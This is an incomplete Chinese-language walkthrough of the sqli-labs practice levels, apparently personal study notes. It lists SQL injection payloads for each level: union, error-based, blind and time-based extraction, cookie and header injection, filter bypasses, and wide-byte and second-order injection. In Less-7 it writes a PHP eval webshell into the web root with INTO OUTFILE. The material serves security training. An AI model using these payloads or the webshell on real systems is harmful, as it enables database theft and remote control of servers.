文章目录
- 没弄完,
- 1~10 GET传输
- 11~20 POST传输
- 21~30 过滤&绕过
- Less-21 Cookie_Base64 报错注入【 ') 】
- Less-22 Cookie_Base64注入 报错注入【 " 】
- Less-23 过滤【 #、--+ 】
- Less-24 二次注入
- Less-25 过滤【or、and 】
- Less-26 过滤【 or、and、/、*、--、#、\s(所有空格)、\】
- Less-27 过滤【 /、*、--、#、 +、空格+、select、Select、SELECT、union、Union、UNION、】
- Less-28 过滤【 /*、--、#、 +、空格+、/union\s+select/i(组合型拼接:union select)】
- Less-29 过滤【不知道】
- Less-30
- 31~40
- 41~50
- 51~60
- 61~65
没弄完,
1~10 GET传输
Less-1 联合查询[ ’ ]
1、判断sql语句中一共返回了多少列
order by 3 --+
对比如下两张图的显示页面。得知有3列

2、查看显示位
union select 1,2,3 --+

Less-2 联合查询[ ]
Less-3 联合查询[ ') ]
Less-4 联合查询[ ") ]
Less-5 报错注入[ ’ ]
1、判断是什么类型的注入
2、报错注入可用
报错型注入
Less-6 报错注入[ " ]
Less-7 写入数据[ ')) ]
前提条件:
show global variables like '%secure%';
1、secure_file_priv = null # 表示不允许导入导出
2、secure_file_priv = 路径时 # 表示mysql的导入导出只能发生在指定的文件夹
3、secure_file_priv = # 不给值的时候,则表示没有任何限制

对比如下的图。
加单双引号试试返回的页面


加**–+**注释掉后面的内容。

当拥有写入权限之后

构造写入一句话
union select 1,2, "<?php @eval($_POST['2233']); ?>" into outfile "c:/phpStudy/PHPTutorial/WWW/yjh.php"--+

Less-8 布尔盲注[ ’ ]
优点:不需要显示位,不需要数据库报错信息,
只需要当数据库语句执行时没有结果和正常执行要有区别
缺点:速度慢
1、判断当前数据库的长度
and length(database()) = 8 --+ # 经过我多次的猜测,得到当前数据库的长度为8
2、猜测当前数据库的库名
经过我多次的猜测,终于确定了这个8位数的数据库名位" security "
and ord((substr(database(),8)))=121 --+ # 经过我多次的猜测,终于确定了这个8位数的数据库名位" security "
盲注太费时间了,效率不高。建议写脚本或者使用sqlmap工具
布尔盲注
Less-9 延迟注入[ ’ ]
优点:不需要显示位,不需要数据库报错信息,
不需要页面有区别
缺点:速度太慢,误差大
查看源码发现
通过if(表达式,值1,值2)来判断
1、注入点判断
and sleep(5) --+ # 页面卡住5秒,则说明存在注入点
2、 判断数据库长度
and if(length(database())=8,sleep(5),1) --+ # 表达式为Ture时,页面卡住5秒。否则页面卡住一秒
Less-10 延迟注入[ ” ]
1、注入点判断
and sleep(5) --+ # 页面卡住5秒,则说明注入点正确
2、 判断数据库长度
and if(length(database())=8,sleep(5),1) --+ # 表达式为Ture时,页面卡住5秒。否则页面卡住一秒
11~20 POST传输
Less-11 *联合查询【 ’ 】
POST提交参数
1、注入点判断
基于post提交数据的联合查询(同GET一样的操作,不一样的位置)
2、查看显示位
uname=不存在的用户' union select 1,2 #&passwd=&submit=Submit

Less-12 联合查询【 ") 】
POST提交参数
基于post提交数据的联合查询(同GET一样的操作,不一样的位置)
Less-13 报错注入【 ') 】
POST提交参数
1、注入点判断
2、爆数据
uname=账号无所谓') and updatexml(1,concat(0x7e,database(),0x7e),1) #&passwd=Dumb&submit=Submit # 爆出当前的数据库
基于post提交数据的报错注入(同GET一样的操作,不一样的位置)
Less-14 报错注入【 " 】
POST提交参数
Less-15 布尔盲注【 ’ 】
POST提交参数
1、根据回显的页面的不同来判断

2、操作和GET操作的一样。位置不一样而已
基于post提交数据的布尔盲注(同GET一样的操作,不一样的位置)
Less-16 布尔盲注【 " 】
POST提交参数
Less-17 报错注入【 ’ 】
POST提交参数
Less-18 http头部报错注入字段【 ’ 】
修改 User-Agen(前提,登录的账号密码要对)
1、通过Bp抓取数据包
2、爆数据
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 # 爆出当前数据库
Less-19 http头部报错注入【 ’ 】
修改 Referer 字段
1、通过Bp抓取数据包
http头部注入
2、爆数据
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
Less-20 Cookie注入
报错注入【 ’ 】
1、爆数据
cookie注入
21~30 过滤&绕过
Less-21 Cookie_Base64 报错注入【 ') 】
1、判断注入点
2、Base64加密
3、爆数据
JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw== # 这个是转成Base64之后的。
') and extractvalue(1,concat(0x7e,database(),0x7e))# 这个是没转的
Less-22 Cookie_Base64注入 报错注入【 " 】
1、判断注入点
cookie注入
Less-23 过滤【 #、–+ 】
注入点【 ’ 】
绕过:闭合绕过
1、查看显示位
union select 1,2,'3

Less-24 二次注入
1、先创建一个相似的账号

2、登录创建好的admin’#账号并改此账号的密码
利用二次注入,就可以随便改密码了
Less-25 过滤【or、and 】
注入点【 ’ 】
绕过:双写绕过(or=oorr、and=aandnd)
绕过:运算符绕过(or=||、and=&&)
Less-26 过滤【 or、and、/、*、–、#、\s(所有空格)、\】
注入点【 ’ 】
过滤:【 or、and、/、*、–、#、\s(所有空格)、\】
绕过:【利用()来代替空格】
由于PHP版本的问题,一些空格的代替用不了。
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
小知识点:
因为要绕空格,所以 limit 就不能用了,但是报错注入只能爆出32位。
数据多的话,可以使用一个盲注中用过的函数substr(),
?id=1'||updatexml(1,substr(concat(0x7e,(select (group_concat(username)) from (users)),0x7e),1,32),1)||'1
Less-27 过滤【 /、*、–、#、 +、空格+、select、Select、SELECT、union、Union、UNION、】
注入点【 ’ 】
过滤:【 /*、–、#、 +、空格+、select、Select、SELECT、union、Union、UNION、】
绕过:PHP-5.2.17版本——【利用以下的编码来代替空格,从而进行绕过】
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
Less-28 过滤【 /*、–、#、 +、空格+、/union\s+select/i(组合型拼接:union select)】
注入点【 ') 】
过滤:【 /*、–、#、 +、空格+、/union\s+select/i(组合型拼接:union select)】
绕过:PHP-5.2.17版本——【利用以下的编码来代替空格,从而进行绕过】
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
成功绕过?
Less-29 过滤【不知道】
注入点【 ’ 】
?id=1&id=2' and extractvalue(1,concat('^',database(),'^')) %23
Less-30
31~40
Less-31
Less-32
宽字节注入
加了%df后最终的语句就是
?id=1運‘ =union select 1,2,3 --+
Less-33
Less-34
Less-35
Less-36
Less-37
Less-38
堆叠注入[ ’ ]
个人理解:相等于用sql命令在操作数据库

堆叠注入







